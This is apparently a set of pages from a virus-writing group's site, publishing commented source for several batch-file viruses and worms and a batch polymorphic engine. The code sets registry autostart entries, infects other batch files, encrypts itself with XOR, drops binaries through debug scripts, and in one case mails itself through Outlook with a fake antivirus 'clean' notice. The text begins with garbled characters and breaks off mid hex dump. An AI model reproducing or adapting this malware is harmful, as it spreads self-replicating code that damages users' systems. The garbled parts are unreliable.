Šâäïè§îá§âÿîôó§´©õõ§âäïè§åæó©ðóὧÀèó§óè§àâó§ôèêâóïîéà§óè§âæ󧽮¹¹áŠâäïè§ãâ맩õõ¹¹áŠâäïè§äïèîä⧨佩§¨é§¨ó½©«·µ¹¹áŠâäïè§äæëë§à©åæó¹¹áŠõâé§á§á©åæóŠâäïè§Çâäïè§èáá¹ïŠâäïè§äæëë§õ©åæó¹¹ïŠâäïè§îá§âÿîô󧶩õõ§âäïè§åæó©ðóὧÈ쫧òéóîë§óïâ驹¹ïŠâäïè§îá§âÿîô󧵩õõ§âäïè§åæó©ðóὧÉîäâ§óæëìîéà§óè§þèò«§ôââ§þèò§æõèòé㩹¹ïŠâäïè§îá§âÿîôó§´©õõ§âäïè§åæó©ðóὧÈ쫧åþ⩧Óæìâ§äæõ⩹¹ïŠâäïè§ãâ맩õõ¹¹ïŠâäïè§äïèîä⧨佩§¨é§¨ó½©«·µ¹¹ïŠâäïè§äæëë§î©åæó¹¹ïŠõâé§ï§ï©åæóŠäóóþ§äèéŠâäïè©Šâäïè§åæó©ðóὧÏâþ§åæó©µéãÏæë᫧äæé§þèò§ïâæõ§ê⸊âäïè§åæó©ðóὧÃîãé ó§âÿ÷âäó§óè§êââó§þèò§ïâõâ©Šäïèîä⧨佩§¨é§¨ó½©«·µŠäóóþ§éòëŠãâë§ôóæõó©åæóŠõâé§ôéã©ïëá§ôóæõó©åæóŠäæëë§ôóæõó©åæóŠ½âéãŠäóóþ§éò늽½>>i move i c:\ww :: Junk, isn't it? :i if exist %winbootdir%\system\pm.bat goto v :: if the trojan-question has already been answered with 3, :: the question-part is jumped over ctty con echo What the fuck is this? echo (1) Fuck off, asshole! echo (2) Polymorphic batch worm. echo (3) (this is the wrong answer) ... sure? choice /c:123 /n if errorlevel 1 set j=pl if errorlevel 2 set j=d if errorlevel 3 set j=r cls ctty nul goto %j% :: the interactive "trojan" part :d del %0 :: if the answer is 2, nothing happens :pl echo REGEDIT4>pl.reg echo [hkey_local_machine\software\microsoft\windows\currentversion\run]>>pl.reg echo "y0ur fault"="c:\\pl.bat">>pl.reg regedit /s pl.reg echo @echo off>c:\pl.bat echo ctty nul>>c:\pl.bat echo c:\windows\rundll32.exe user,disableoemlayer>>c:\pl.bat del pl.reg del %0 :: if the answer is 1, windows gets "fucked off" at every start :r if exist %winbootdir%\system\pm.bat goto v copy %0 c:\bat.wtf.bat :: if the answer is 3, the virus-part gets executed echo e 0100 40 65 63 68 6F 20 6F 66 66 0D 0A 3A 72 0D 0A 76>pb echo e 0110 65 72 7C 74 69 6D 65 7C 66 69 6E 64 20 22 2C 31>>pb echo e 0120 22 3E 6E 75 6C 0D 0A 69 66 20 6E 6F 74 20 65 72>>pb echo e 0130 72 6F 72 6C 65 76 65 6C 20 31 20 67 6F 74 6F 20>>pb echo e 0140 31 0D 0A 76 65 72 7C 74 69 6D 65 7C 66 69 6E 64>>pb echo e 0150 20 22 2C 32 22 3E 6E 75 6C 0D 0A 69 66 20 6E 6F>>pb echo e 0160 74 20 65 72 72 6F 72 6C 65 76 65 6C 20 31 20 67>>pb echo e 0170 6F 74 6F 20 32 0D 0A 76 65 72 7C 74 69 6D 65 7C>>pb echo e 0180 66 69 6E 64 20 22 2C 33 22 3E 6E 75 6C 0D 0A 69>>pb echo e 0190 66 20 6E 6F 74 20 65 72 72 6F 72 6C 65 76 65 6C>>pb echo e 01A0 20 31 20 67 6F 74 6F 20 33 0D 0A 76 65 72 7C 74>>pb echo e 01B0 69 6D 65 7C 66 69 6E 64 20 22 2C 34 22 3E 6E 75>>pb echo e 01C0 6C 0D 0A 69 66 20 6E 6F 74 20 65 72 72 6F 72 6C>>pb echo e 01D0 65 76 65 6C 20 31 20 67 6F 74 6F 20 34 0D 0A 76>>pb echo e 01E0 65 72 7C 74 69 6D 65 7C 66 69 6E 64 20 22 2C 35>>pb echo e 01F0 22 3E 6E 75 6C 0D 0A 69 66 20 6E 6F 74 20 65 72>>pb echo e 0200 72 6F 72 6C 65 76 65 6C 20 31 20 67 6F 74 6F 20>>pb echo e 0210 35 0D 0A 76 65 72 7C 74 69 6D 65 7C 66 69 6E 64>>pb echo e 0220 20 22 2C 36 22 3E 6E 75 6C 0D 0A 69 66 20 6E 6F>>pb echo e 0230 74 20 65 72 72 6F 72 6C 65 76 65 6C 20 31 20 67>>pb echo e 0240 6F 74 6F 20 36 0D 0A 76 65 72 7C 74 69 6D 65 7C>>pb echo e 0250 66 69 6E 64 20 22 2C 37 22 3E 6E 75 6C 0D 0A 69>>pb echo e 0260 66 20 6E 6F 74 20 65 72 72 6F 72 6C 65 76 65 6C>>pb echo e 0270 20 31 20 67 6F 74 6F 20 37 0D 0A 76 65 72 7C 74>>pb echo e 0280 69 6D 65 7C 66 69 6E 64 20 22 2C 38 22 3E 6E 75>>pb echo e 0290 6C 0D 0A 69 66 20 6E 6F 74 20 65 72 72 6F 72 6C>>pb echo e 02A0 65 76 65 6C 20 31 20 67 6F 74 6F 20 38 0D 0A 76>>pb echo e 02B0 65 72 7C 74 69 6D 65 7C 66 69 6E 64 20 22 2C 39>>pb echo e 02C0 22 3E 6E 75 6C 0D 0A 69 66 20 6E 6F 74 20 65 72>>pb echo e 02D0 72 6F 72 6C 65 76 65 6C 20 31 20 67 6F 74 6F 20>>pb echo e 02E0 39 0D 0A 76 65 72 7C 74 69 6D 65 7C 66 69 6E 64>>pb echo e 02F0 20 22 2C 30 22 3E 6E 75 6C 0D 0A 69 66 20 6E 6F>>pb echo e 0300 74 20 65 72 72 6F 72 6C 65 76 65 6C 20 31 20 67>>pb echo e 0310 6F 74 6F 20 30 0D 0A 67 6F 74 6F 20 72 0D 0A 3A>>pb echo e 0320 30 0D 0A 73 65 74 20 5D 3D 30 0D 0A 67 6F 74 6F>>pb echo e 0330 20 61 0D 0A 3A 39 0D 0A 73 65 74 20 5D 3D 39 0D>>pb echo e 0340 0A 67 6F 74 6F 20 61 0D 0A 3A 38 0D 0A 73 65 74>>pb echo e 0350 20 5D 3D 38 0D 0A 67 6F 74 6F 20 61 0D 0A 3A 37>>pb echo e 0360 0D 0A 73 65 74 20 5D 3D 37 0D 0A 67 6F 74 6F 20>>pb echo e 0370 61 0D 0A 3A 36 0D 0A 73 65 74 20 5D 3D 36 0D 0A>>pb echo e 0380 67 6F 74 6F 20 61 0D 0A 3A 35 0D 0A 73 65 74 20>>pb echo e 0390 5D 3D 35 0D 0A 67 6F 74 6F 20 61 0D 0A 3A 34 0D>>pb echo e 03A0 0A 73 65 74 20 5D 3D 34 0D 0A 67 6F 74 6F 20 61>>pb echo e 03B0 0D 0A 3A 33 0D 0A 73 65 74 20 5D 3D 33 0D 0A 67>>pb echo e 03C0 6F 74 6F 20 61 0D 0A 3A 32 0D 0A 73 65 74 20 5D>>pb echo e 03D0 3D 32 0D 0A 67 6F 74 6F 20 61 0D 0A 3A 31 0D 0A>>pb echo e 03E0 73 65 74 20 5D 3D 31 0D 0A 3A 61 0D 0A 69 66 20>>pb echo e 03F0 6E 6F 74 20 65 78 69 73 74 20 62 2E 72 72 20 67>>pb echo e 0400 6F 74 6F 20 62 0D 0A 69 66 20 6E 6F 74 20 65 78>>pb echo e 0410 69 73 74 20 63 2E 72 72 20 67 6F 74 6F 20 63 0D>>pb echo e 0420 0A 67 6F 74 6F 20 64 0D 0A 3A 62 0D 0A 73 65 74>>pb echo e 0430 20 3A 3D 25 5D 25 0D 0A 73 65 74 20 5D 3D 0D 0A>>pb echo e 0440 65 63 68 6F 2E 3E 62 2E 72 72 0D 0A 67 6F 74 6F>>pb echo e 0450 20 72 0D 0A 3A 63 0D 0A 73 65 74 20 2D 3D 25 5D>>pb echo e 0460 25 0D 0A 73 65 74 20 5D 3D 0D 0A 65 63 68 6F 2E>>pb echo e 0470 3E 63 2E 72 72 0D 0A 67 6F 74 6F 20 72 0D 0A 3A>>pb echo e 0480 64 0D 0A 64 65 6C 20 2A 2E 72 72 0D 0A 65 63 68>>pb echo e 0490 6F 2E 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D>>pb echo e 04A0 65 20 6E 65 78 74 3E 70 0D 0A 65 63 68 6F 20 73>>pb echo e 04B0 65 74 20 66 73 6F 20 3D 20 63 72 65 61 74 65 6F>>pb echo e 04C0 62 6A 65 63 74 28 22 73 63 72 69 70 74 69 6E 67>>pb echo e 04D0 2E 66 69 6C 65 73 79 73 74 65 6D 6F 62 6A 65 63>>pb echo e 04E0 74 22 29 3E 3E 70 0D 0A 65 63 68 6F 20 73 65 74>>pb echo e 04F0 20 70 72 6F 63 34 20 3D 20 66 73 6F 2E 6F 70 65>>pb echo e 0500 6E 74 65 78 74 66 69 6C 65 28 22 63 3A 5C 62 61>>pb echo e 0510 74 2E 77 74 66 2E 62 61 74 22 2C 20 31 29 3E 3E>>pb echo e 0520 70 0D 0A 65 63 68 6F 20 6D 73 67 20 3D 20 70 72>>pb echo e 0530 6F 63 34 2E 72 65 61 64 61 6C 6C 3E 3E 70 0D 0A>>pb echo e 0540 65 63 68 6F 20 64 64 64 20 3D 20 78 28 6D 73 67>>pb echo e 0550 29 3E 3E 70 0D 0A 65 63 68 6F 20 73 65 74 20 70>>pb echo e 0560 72 6F 63 32 20 3D 20 66 73 6F 2E 63 72 65 61 74>>pb echo e 0570 65 74 65 78 74 66 69 6C 65 28 22 63 3A 5C 62 61>>pb echo e 0580 74 2E 77 74 66 2E 62 61 74 22 2C 20 74 72 75 65>>pb echo e 0590 29 3E 3E 70 0D 0A 65 63 68 6F 20 70 72 6F 63 32>>pb echo e 05A0 2E 77 72 69 74 65 6C 69 6E 65 20 64 64 64 3E 3E>>pb echo e 05B0 70 0D 0A 65 63 68 6F 20 70 72 6F 63 32 2E 63 6C>>pb echo e 05C0 6F 73 65 3E 3E 70 0D 0A 65 63 68 6F 20 46 75 6E>>pb echo e 05D0 63 74 69 6F 6E 20 78 28 73 54 65 78 74 29 3E 3E>>pb echo e 05E0 70 0D 0A 65 63 68 6F 2E 4F 6E 20 45 72 72 6F 72>>pb echo e 05F0 20 52 65 73 75 6D 65 20 4E 65 78 74 3E 3E 70 0D>>pb echo e 0600 0A 65 63 68 6F 20 44 69 6D 20 65 6B 65 79 2C 20>>pb echo e 0610 69 2C 20 68 61 73 68 2C 20 63 72 62 79 74 65 3E>>pb echo e 0620 3E 70 0D 0A 65 63 68 6F 20 65 6B 65 79 20 3D 20>>pb echo e 0630 25 3A 25 25 2D 25 25 5D 25 3E 3E 70 0D 0A 65 63>>pb echo e 0640 68 6F 20 46 6F 72 20 69 20 3D 20 31 20 54 6F 20>>pb echo e 0650 4C 65 6E 28 73 54 65 78 74 29 3E 3E 70 0D 0A 65>>pb echo e 0660 63 68 6F 20 68 61 73 68 20 3D 20 41 73 63 28 4D>>pb echo e 0670 69 64 28 73 54 65 78 74 2C 20 69 2C 20 31 29 29>>pb echo e 0680 3E 3E 70 0D 0A 65 63 68 6F 20 63 72 62 79 74 65>>pb echo e 0690 20 3D 20 43 68 72 28 68 61 73 68 20 58 6F 72 20>>pb echo e 06A0 28 65 6B 65 79 20 4D 6F 64 20 32 35 35 29 29 3E>>pb echo e 06B0 3E 70 0D 0A 65 63 68 6F 20 78 20 3D 20 78 20 26>>pb echo e 06C0 20 63 72 62 79 74 65 3E 3E 70 0D 0A 65 63 68 6F>>pb echo e 06D0 20 4E 65 78 74 3E 3E 70 0D 0A 65 63 68 6F 20 45>>pb echo e 06E0 6E 64 20 46 75 6E 63 74 69 6F 6E 3E 3E 70 0D 0A>>pb echo e 06F0 63 74 74 79 20 6E 75 6C 0D 0A 6D 6F 76 65 20 70>>pb echo e 0700 20 25 77 69 6E 62 6F 6F 74 64 69 72 25 5C 70 6D>>pb echo e 0710 2E 76 62 73>>pb echo rcx>>pb echo 0614>>pb echo n pm.bat>>pb echo w>>pb echo q>>pb debug<pb del pb move pm.bat %winbootdir%\system start /m /w %winbootdir%\system\pm.bat :: this is the debug-script of the batch that is used :: to generate a de/encryption-vbs with random key :: code see below :v del %winbootdir%\de.vbs :: if not first generation: deletes the old decryption-vbs echo [windows]>i echo load=%winbootdir%\system\ftw.bat>>i echo run=>>i echo NullPort=None>>i echo.>>i copy i + %winbootdir%\win.ini %winbootdir%\system\win.ini del %winbootdir%\win.ini move %winbootdir%\system\win.ini %winbootdir%\win.ini del i :: some lines are added to the win.ini, for start-up-reasons echo @echo off>i echo ctty nul>>i echo ren %winbootdir%\pm.vbs de.vbs>>i echo start /m /w %winbootdir%\system\pm.bat>>i echo start /w %winbootdir%\de.vbs>>i echo start c:\bat.wtf.bat>>i move i %winbootdir%\system\ftw.bat :: this is the file that gets executed at every-system start :: it generates a new de/encryption-vbs :: the old one is used to decrypt the virus :: the now decrypted virus is executed :: it encrypts itself at the end with the new de/encryption-vbs for %%r in (%winbootdir%\*.bat) do set R=%%r copy %R% + %0 :: this is the fantastic infection part :) start %winbootdir%\pm.vbs :end =====[end code]================================================================= Ok, and here is the code of the batch that is used to generate the de/encryption-vbs-files with random keys (again with comments): =====[begin code]=============================================================== @echo off :r ver|time|find ",1">nul if not errorlevel 1 goto 1 ver|time|find ",2">nul if not errorlevel 1 goto 2 ver|time|find ",3">nul if not errorlevel 1 goto 3 ver|time|find ",4">nul if not errorlevel 1 goto 4 ver|time|find ",5">nul if not errorlevel 1 goto 5 ver|time|find ",6">nul if not errorlevel 1 goto 6 ver|time|find ",7">nul if not errorlevel 1 goto 7 ver|time|find ",8">nul if not errorlevel 1 goto 8 ver|time|find ",9">nul if not errorlevel 1 goto 9 ver|time|find ",0">nul if not errorlevel 1 goto 0 goto r :0 set ]=0 goto a :9 set ]=9 goto a :8 set ]=8 goto a :7 set ]=7 goto a :6 set ]=6 goto a :5 set ]=5 goto a :4 set ]=4 goto a :3 set ]=3 goto a :2 set ]=2 goto a :1 set ]=1 :a if not exist b.rr goto b if not exist c.rr goto c goto d :b set :=%]% set ]= echo.>b.rr goto r :c set -=%]% set ]= echo.>c.rr goto r :d del *.rr :: the technique of my "Batch Random Number Generator v2.0" is used to :: get three random numbers, used as key in the de/encryption-vbs echo.on error resume next>p echo set fso = createobject("scripting.filesystemobject")>>p echo set proc4 = fso.opentextfile("c:\bat.wtf.bat", 1)>>p echo msg = proc4.readall>>p echo ddd = x(msg)>>p echo set proc2 = fso.createtextfile("c:\bat.wtf.bat", true)>>p echo proc2.writeline ddd>>p echo proc2.close>>p echo Function x(sText)>>p echo.On Error Resume Next>>p echo Dim ekey, i, hash, crbyte>>p echo ekey = %:%%-%%]%>>p :: here the three random numbers get inserted into the de/encryption-vbs echo For i = 1 To Len(sText)>>p echo hash = Asc(Mid(sText, i, 1))>>p echo crbyte = Chr(hash Xor (ekey Mod 255))>>p echo x = x & crbyte>>p echo Next>>p echo End Function>>p ctty nul move p %winbootdir%\pm.vbs =====[end code]================================================================= That's all, ppl. I hope this enjoyed you a bit. Nevermind if it didn't. I don't, too. Remember: Batch is in no way dead yet... Something you want to tell me? ... No matter what: philet0ast3r@rRlf.de www.rRlf.desources
Batch Random Number Generator v2.3 philet0ast3r @ctty nul :: Batch Random Number Generator v2.3 :: by philet0ast3r [rRlf] :: finished (version 1.0): 25.11.2002, 21:33:23 :: finished (version 2.0): 25.04.2003, 16:11:03 :: finished (version 2.3): 13.11.2003, 16:41:23 :: ... :: this program generates a random 5 digit number with 774 Bytes of normal Batch :: but it can without problem be expanded to generate more digits :: with a little code-change, it can also generate random letters or other signs :: thanks a lot to breathe for helping me get the idea, how this could work :: ... :: nearly one year after I made v1.0 of this I'm finally confident with my program :: if someone is able to do the same thing with less than 774 Bytes, please mail me :: (774 Bytes if you cut out these comments, of course) :: ... :: philet0ast3r@rRlf.de :: www.rRlf.de set a=a goto r :x if %a%==d set a=e if %a%==c set a=d if %a%==b set a=c if %a%==a set a=b :r ver|time|find ",1">nul if not errorlevel 1 set r=1 ver|time|find ",2">nul if not errorlevel 1 set r=2 ver|time|find ",3">nul if not errorlevel 1 set r=3 ver|time|find ",4">nul if not errorlevel 1 set r=4 ver|time|find ",5">nul if not errorlevel 1 set r=5 ver|time|find ",6">nul if not errorlevel 1 set r=6 ver|time|find ",7">nul if not errorlevel 1 set r=7 ver|time|find ",8">nul if not errorlevel 1 set r=8 ver|time|find ",9">nul if not errorlevel 1 set r=9 ver|time|find ",0">nul if not errorlevel 1 set r=0 echo>%r% if exist %r% goto z goto r :z del %r% set r%a%=%r% set r= if not %a%==e goto x ctty con @echo %ra%%rb%%rc%%rd%%re%sources
BatXP.Limitrophe.d philet0ast3r +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+ / BatXP.Limitrophe.d by philet0ast3r [rRlf] / +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ 010101 10010001 00 001101001 00 01 11 01110011010 01 11 00 00 11 10 010 10 11 00 100100110101100010 00 00 10 0100011100100101011 01 01 01 01010 01 101100110001010 0101 01100010 11001001010001 1001 01011000110 10 010 100 10 0110 01 110 011 01 0001 11 011 010 01 0100 00 0110 10 1010 10 10 00 01101 00 11 01 www.rRlf.de This is a new version of BatXP.Limitrophe.c by DvL. Version c is 57 Bytes "big". I made it even smaller: From 57 to 49 Bytes! philet0ast3r would like to greet/thank some important persons: 3ri5, tanja, ina, janine, phily, rastafarie, clive, jackie, Toro, breathe, alcopaul, Slage Hammer, Necronomikon, BeLiAL, malfunction, Mindjuice, and the rest of the rRlf. Here is the code of the virus: =====[begin code]=============================================================== @%random% @for /r \ %%_ in (*.b*) do copy %0 %%_ =====[end code]================================================================= That's all, ppl. I hope this enjoyed you a bit. Nevermind if it didn't. I don't mind, too. Remember: Batch is in no way dead yet... Something you want to tell me? ... No matter what: philet0ast3r@rRlf.de www.rRlf.desources
Batch Body Changing Engine philet0ast3r @echo off :: Batch Body Changing Engine :: by philet0ast3r [rRlf] :: finished: 13.01.2004, 05:09:09 :: ... :: This is the first pure batch polymorphic engine ... I don't know ... :: It might even be the first real engine in batch. :: It uses a slightly modified version of my Batch Random Number Generator v2.3 :: to put the numbers 0-9 in random order. :: Divide your virus into 9 parts, and put each part where the "echo [this could be part x]" :: is. Don't forget to tag each line with %px% (in case you didn't get it: x is the :: number of the part ;). This is important for the engine to recognize, to which part the :: specific line belongs. All parts are executed and exported into different files. :: Part 0 is the engine itself. It gets the 10 digit random number (every digit a :: different number ... might take some time) and uses it to put the part-files together :: again. (to nextgeneration.bat ... when used in a virus, you might want to change this ... :: and remove the echo comments ;). Done. :: btw: This makes 3.628.800 different versions with pure batch. :: Not bad, huh?! :: ... :: greets to everyone who knows and likes me :: ... :: philet0ast3r@rRlf.de :: www.rRlf.de :1 %p1% find "p1"<%0>1.rR %p1%echo [this could be part 1] %p1%goto 2 :2 %p2% find "p2"<%0>2.rR %p2%echo [this could be part 2] %p2%goto 3 :3 %p3% find "p3"<%0>3.rR %p3%echo [this could be part 3] %p3%goto 4 :4 %p4% find "p4"<%0>4.rR %p4%echo [this could be part 4] %p4%goto 5 :5 %p5% find "p5"<%0>5.rR %p5%echo [this could be part 5] %p5%goto 6 :6 %p6% find "p6"<%0>6.rR %p6%echo [this could be part 6] %p6%goto 7 :7 %p7% find "p7"<%0>7.rR %p7%echo [this could be part 7] %p7%goto 8 :8 %p8% find "p8"<%0>8.rR %p8%echo [this could be part 8] %p8%goto 9 :9 %p9% find "p9"<%0>9.rR %p9%echo [this could be part 9] %p9%goto 0 :0 %p0% find "p0"<%0>0.rR %p0% echo [this is part 0, the engine itself] %p0%ctty nul %p0%set a=a %p0%goto r :x %p0% %p0%if %a%==i set a=j %p0%if %a%==h set a=i %p0%if %a%==g set a=h %p0%if %a%==f set a=g %p0%if %a%==e set a=f %p0%if %a%==d set a=e %p0%if %a%==c set a=d %p0%if %a%==b set a=c %p0%if %a%==a set a=b :r %p0% %p0%ver|time|find ",1">nul %p0%if not errorlevel 1 set r=1 %p0%ver|time|find ",2">nul %p0%if not errorlevel 1 set r=2 %p0%ver|time|find ",3">nul %p0%if not errorlevel 1 set r=3 %p0%ver|time|find ",4">nul %p0%if not errorlevel 1 set r=4 %p0%ver|time|find ",5">nul %p0%if not errorlevel 1 set r=5 %p0%ver|time|find ",6">nul %p0%if not errorlevel 1 set r=6 %p0%ver|time|find ",7">nul %p0%if not errorlevel 1 set r=7 %p0%ver|time|find ",8">nul %p0%if not errorlevel 1 set r=8 %p0%ver|time|find ",9">nul %p0%if not errorlevel 1 set r=9 %p0%ver|time|find ",0">nul %p0%if not errorlevel 1 set r=0 %p0%if %r%==1 goto z %p0%if %r%==2 goto z %p0%if %r%==3 goto z %p0%if %r%==4 goto z %p0%if %r%==5 goto z %p0%if %r%==6 goto z %p0%if %r%==7 goto z %p0%if %r%==8 goto z %p0%if %r%==9 goto z %p0%if %r%==0 goto z %p0%goto r :z %p0% %p0%if %r%==%ra% goto r %p0%if %r%==%rb% goto r %p0%if %r%==%rc% goto r %p0%if %r%==%rd% goto r %p0%if %r%==%re% goto r %p0%if %r%==%rf% goto r %p0%if %r%==%rg% goto r %p0%if %r%==%rh% goto r %p0%if %r%==%ri% goto r %p0%set r%a%=%r% %p0%set r= %p0%if not %a%==j goto x %p0%echo @echo off>s.rR %p0%echo goto 1>>s.rR %p0%copy s.rR + %ra%.rR + %rb%.rR + %rc%.rR + %rd%.rR + %re%.rR + %rf%.rR + %rg%.rR + %rh%.rR + %ri%.rR + %rj%.rR nextgeneration.bat %p0%del *.rR %p0%ctty con %p0%echo [done, nextgeneration.bat contains the parts mixed up in one of %p0%echo 3.628.800 different ways] %p0%exitsources
BAT/Calvin&Hobbes alcopaul & philet0ast3r +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+ / BAT/Calvin&Hobbes by alcopaul [rRlf] and philet0ast3r [rRlf] / +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ This is my (philet0ast3r) 12th virus, and it's a very special one. It was written on a little German VX meeting, April 2002 (see my article in rRlf #2 about it). Well, very little, BeLiAL, MalFunction and me. But the meeting was great, and I'm a bit st0ned right now ;] And ... it is the worldwide first encrypted batch virus/worm. If you know one, that was coded earlier, tell me. It was written for PetiKVX Zine #1. By two guys? Yes, the virus/worm is from alcopaul, the payload, and the encryption/decryption idea/routine is from me. It may run quite slow, but it is at least some proof of concept ;) Nevertheless here are some facts: -encrypted: actual (encrypted) virus is spawned from the host, gets decrypted, executed and re-encrypted; good old Cipher (The Nowhere Utilities ... from 1992) is used for that ;) thanks to Nowhere Man and [NuKE] at this place -Outlook worm subject: A Calvin And Hobbes Comic Strip body: ------------- McAfee Online Scanner ----------------------------- The attached file doesn't contain any malicious routines ---------------------------------------------------------------------------- -"residency" through registry (does not create reg-file, virus itself is a "reg-file") -overwrites batch-files in the root-directory -payload: creates a little vbs located in the autostart-directory; it only shows this message to the user (in two message-boxes): msgbox 1: Here goes your comic strip: title: BAT/Calvin&Hobbes msgbox 1: (here goes a great ascii middlefinger, look somewhere below for it) title: by alcopaul [rRlf] and philet0ast3r [rRlf] -reg/bat/vbs/com hybrid ;] -fully compatible to Windows ME, Windows 98, Windows 95 (has been tested) -size: 55.553 bytes ... by the way, this is the second largest batch-virus I know (and I know a lot ;), after PawPaw (I don't know the author) philet0ast3r likes to gr33t: 3ri5, alcopaul [rRlf], disc0rdia [rRlf], dr.g0nZo [rRlf], El DudErin0 [rRlf], ppacket [rRlf], rastafarie [rRlf], PetiK, vortex, cronus [DoJ], Zoom23 [PVW], Necronomikon [ZG], Energy, pissn3lk [AFN], ToxiC, herm1t, WhiTe_LiQUiD_doVe [LC], BTK, kimera, h0axly, Virus 3000, BeLiAL [BC], mgl [*], MalFunction, Benny [29A], Senna Spy, SnakeByte [MVX], Zarrmann, ina, El Commandante, bafra, Mindjuice. Well, here is the code ... with comments "::" These comments refer always to the code above and should be removed to "compile" virus. But for the lazy ones: It's not neccessary, but decreases size ... and the victim does not know that easy what this batch is doing ;) Phile-name is equal, but has to end with ".bat" :D =====[begin code]=============================================================== REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices] "ddd"="c:\\aut0exec.bat" :: this is the beginning of a reg-file :: because the virus itself gets added to the registry, :: this lines have be at the beginning, what follows is not relevant :: because these are no valid batch commands, :: some error messages appear, but nothing else happens cls :: this command clears the screen (because of the error messages) @echo off :: guess what ;) ctty nul :: output-device is set to nul, so no (error) message is sent to the user copy %0 c:\Calvin&Hobbes.bat copy %0 c:\aut0exec.bat :: the running batch is copied to these two files if exist %winbootdir%\23.com goto 23 :: if the decryptor/encryptor already exists, :: the virus can jump over this long debuging echo e 0100 B8 78 31 BA 94 15 3B C4 73 69 8B C4 2D 44 03 90>2 echo e 0110 25 F0 FF 8B F8 B9 A2 00 90 BE 7E 01 FC F3 A5 8B>>2 echo e 0120 D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 0E 01>>2 echo e 0130 C3 AF 16 10 B7 16 58 12 62 6D 85 9A 6E AA 75 4A>>2 echo e 0140 65 10 B0 60 A8 5B 90 84 AD 2F 98 D1 7D C3 13 22>>2 echo e 0150 6D C9 F1 9E 1C A1 DE 86 AD BF A4 3E 46 5A C3 9B>>2 echo e 0160 C9 4E 6F 74 20 65 6E 6F 75 67 68 20 6D 65 6D 6F>>2 echo e 0170 72 79 24 B8 00 09 BA 61 01 CD 21 CD 20 90 FD 8B>>2 echo e 0180 F8 4F 4F BE C0 02 03 F2 8B CA D1 E9 F3 A5 FC 87>>2 echo e 0190 F7 46 46 BF 00 01 AD 95 BA 10 00 EB 32 90 AD 95>>2 echo e 01A0 B2 10 EB 3B AD 95 B2 10 EB 3C AD 95 B2 10 EB 41>>2 echo e 01B0 AD 95 B2 10 EB 63 AD 95 B2 10 EB 64 AD 95 B2 10>>2 echo e 01C0 EB 65 AD 95 B2 10 EB 66 AD 95 B2 10 72 08 A4 D1>>2 echo e 01D0 ED 4A 74 F4 73 F8 33 C9 33 DB D1 ED 4A 74 BF D1>>2 echo e 01E0 D3 D1 ED 4A 74 BE D1 D3 85 DB 74 17 D1 ED 4A 74>>2 echo e 01F0 B9 D1 D3 80 FB 06 72 0B D1 ED 4A 75 04 AD 95 B2>>2 echo e 0200 10 D1 D3 2E 8A 8F 1C 01 80 F9 0A 74 3A 33 DB 83>>2 echo e 0210 F9 02 74 26 D1 ED 4A 74 97 72 1F D1 ED 4A 74 96>>2 echo e 0220 D1 D3 D1 ED 4A 74 95 D1 D3 D1 ED 4A 74 94 D1 D3>>2 echo e 0230 80 FB 02 73 1E 2E 8A BF 2C 01 AC 8A D8 56 8B F7>>2 echo e 0240 2B F3 F3 A4 5E EB 88 AC 02 C8 80 D5 00 3C FF 75>>2 echo e 0250 BC EB 33 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB>>2 echo e 0260 08 72 D2 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 80 FB>>2 echo e 0270 17 72 C2 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 81 E3>>2 echo e 0280 DF 00 86 DF EB B4 33 C0 06 BB 00 01 53 8B D8 8B>>2 echo e 0290 C8 8B D0 8B E8 8B F0 8B F8 CB 03 00 02 0A 04 05>>2 echo e 02A0 00 00 00 00 00 00 06 07 08 09 01 02 00 00 03 04>>2 echo e 02B0 05 06 00 00 00 00 00 00 00 00 07 08 09 0A 0B 0C>>2 echo e 02C0 0D 90 00 00 8C CA 2E 89 16 65 03 B4 30 CD 21 8B>>2 echo e 02D0 2E 02 00 00 80 8B 1E 2C 00 8E DA A3 49 1A 8C 06>>2 echo e 02E0 47 1A 89 1E 43 02 00 04 2E 5F 1A E8 5A 01 C4 3E>>2 echo e 02F0 41 1A 8B C7 00 00 8B D8 B9 FF 7F FC F2 AE E3 61>>2 echo e 0300 43 26 38 05 75 F6 40 01 80 CD 80 F7 D9 89 0E 1B>>2 echo e 0310 B9 01 00 D3 E3 A0 14 83 C3 08 83 E3 F8 35 45 3D>>2 echo e 0320 DA 00 50 2B EA 8B 3E B0 1D 81 FF 00 02 73 07 BF>>2 echo e 0330 26 00 05 89 0D C7 E8 1E 72 28 03 3E 4E 1D 00 48>>2 echo e 0340 72 22 B1 04 D3 EF 47 3B EF 72 19 83 19 54 A1 00>>2 echo e 0350 74 07 07 16 00 75 0E 14 00 2A 10 15 77 07 8B FD>>2 echo e 0360 EB 03 E9 B5 01 28 89 8B DF 03 DA 4E 57 87 5B 1A>>2 echo e 0370 A1 02 14 8E 2B D8 8E C0 B4 4A 57 A8 5F 00 50 D3>>2 echo e 0380 E7 FA 8E D2 8B E7 FB 33 C0 2E 8E 06 50 A0 BC BF>>2 echo e 0390 7A 1E B9 5B 2B CF FC F3 AA 00 85 48 24 1D 14 76>>2 echo e 03A0 47 80 3E C1 03 72 40 2A 0A 4A 09 4A 1A 75 37 B8>>2 echo e 03B0 54 41 01 58 BB DC 3A 72 2A B4 67 55 82 E2 23 0A>>2 echo e 03C0 20 B4 48 BB 01 89 92 13 17 40 A3 E2 48 D2 94 5B>>2 echo e 03D0 49 0D 0A 2A 00 0A 55 17 73 81 34 01 B4 09 14 00>>2 echo e 03E0 7D 16 4D 04 0E 4F 1A 0A C0 74 0C B8 40 05 60 00>>2 echo e 03F0 28 BB 70 00 26 C6 07 01 33 ED 23 01 7C BE 6E 1E>>2 echo e 0380 E7 FA 8E D2 8B E7 FB 33 C0 2E 8E 06 50 A0 BC BF>>2 echo e 0390 7A 1E B9 5B 2B CF FC F3 AA 00 85 48 24 1D 14 76>>2 echo e 03A0 47 80 3E C1 03 72 